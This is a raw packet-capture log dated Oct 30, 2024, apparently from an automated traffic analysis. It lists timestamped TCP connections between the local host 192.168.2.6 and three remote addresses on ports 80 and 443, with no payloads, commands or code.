Oct 30, 2024 05:25:15.722429037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722443104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722491980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722526073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722543001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722548962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722573042 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722573042 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722596884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722609043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722629070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722640991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722649097 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722661972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722698927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722698927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722714901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722728014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722739935 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722768068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722805977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722980976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723053932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723074913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723087072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723112106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723124027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723131895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723144054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723155975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723161936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723186970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723195076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723207951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723218918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723249912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723249912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723251104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723402977 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723469973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723479033 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723490953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723503113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723529100 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723571062 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723583937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723606110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723618031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723638058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723649979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723670959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723683119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723695040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723706961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723726034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723726034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723745108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723752975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723762989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723769903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.723789930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723828077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.723977089 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.724023104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.724029064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.724040031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.724093914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.740729094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740788937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740807056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740817070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740827084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740832090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740878105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.740878105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.740878105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.740911961 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.740921021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740931988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740942955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.740968943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741012096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741019011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741029024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741039038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741066933 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741102934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741113901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741137981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741147995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741168022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741178989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741197109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741259098 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741394997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741405010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741420984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741431952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741441965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741451979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.741461992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741477966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.741520882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765768051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765779972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765799046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765809059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765841007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765861988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765877008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765882015 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765894890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765906096 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765914917 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.765959024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765959024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765959024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.765993118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766002893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766012907 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766025066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766031981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.766043901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766056061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.766074896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.766082048 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.766128063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.766128063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.799988985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.799999952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800009012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800019979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800122976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800132990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800149918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800160885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800172091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800172091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800182104 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800193071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800199986 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800252914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800252914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800271988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800327063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800338984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800343990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800360918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800371885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800379992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800379992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800390959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800406933 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800452948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800452948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800538063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800591946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800601959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800620079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800626993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800635099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800656080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800677061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800690889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800700903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800714970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800726891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800736904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800745010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800765991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800796032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800801992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800812960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800825119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.800848007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.800887108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801064014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801074028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801086903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801130056 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801139116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801163912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801173925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801182032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801187992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801198006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801223040 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801260948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801434040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801445007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801455021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801486969 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801506996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801517010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801527023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801533937 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801542997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801563978 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801573992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801584959 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801595926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801610947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801615953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801616907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801616907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801632881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.801695108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.801695108 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.802000999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802011013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802021980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802062035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802071095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.802071095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.802079916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802093029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.802134991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.802134991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.802134991 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.839752913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839802027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839822054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839833021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839843035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839854002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839864969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839951038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839962006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839973927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839983940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.839994907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.839994907 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840012074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840044975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840054989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840054989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840065956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840076923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840086937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840100050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840140104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840140104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840140104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840166092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840178013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840188026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840199947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840209961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840229988 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840239048 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840363026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840420008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840420008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840476990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840488911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840526104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840533972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840557098 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840584993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840632915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840643883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840653896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840663910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840673923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840697050 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840718985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840733051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840783119 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840795994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840801001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840820074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840831041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840841055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.840856075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840856075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.840856075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841007948 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841016054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841044903 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841053963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841070890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841120005 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841140985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841150999 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841161966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841315031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841325045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841325045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841332912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841342926 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841352940 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841406107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841406107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841406107 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841420889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841432095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841444016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841454029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841469049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841480017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841569901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.841604948 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.841679096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.842256069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.842256069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:17.767626047 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:17.767664909 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:17.767751932 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:17.768866062 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:17.768881083 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:18.124306917 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.124645948 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.436187029 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.797141075 CET	80	49996	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:18.797156096 CET	80	49992	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:18.797240019 CET	80	49992	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:18.797262907 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.797293901 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.799052954 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:18.804964066 CET	80	49996	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:19.411859035 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:19.411927938 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:19.413666010 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:19.413678885 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:19.413927078 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:19.467323065 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:19.686775923 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:19.686816931 CET	49994	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:19.686925888 CET	443	49994	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:19.747680902 CET	80	49996	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:19.747869015 CET	49996	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:19.752104998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:19.752378941 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:19.757745981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:19.757755995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:19.757869959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:19.757877111 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:19.757953882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:19.763272047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:20.159532070 CET	443	49994	188.114.96.3	192.168.2.6
